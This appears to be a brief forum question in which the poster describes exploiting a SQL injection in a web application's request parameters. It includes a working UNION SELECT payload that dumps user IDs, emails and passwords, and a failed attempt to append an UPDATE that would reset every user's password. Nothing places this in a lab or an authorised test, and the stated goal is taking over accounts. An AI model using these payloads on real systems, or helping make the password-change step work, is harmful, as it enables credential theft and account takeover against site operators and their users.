SQL Injection update query


I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,':',email,':',password) FROM user WHERE uid=56; --&token=6eadee0862e6fe05d588cb29c416d9

How can i add an update query to change the password? I’ve tried the query below but it did’t work

func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,UPDATE users SET password='xxxxxxx'; --&token=6eadee0862e6fe05d588cb29c416d9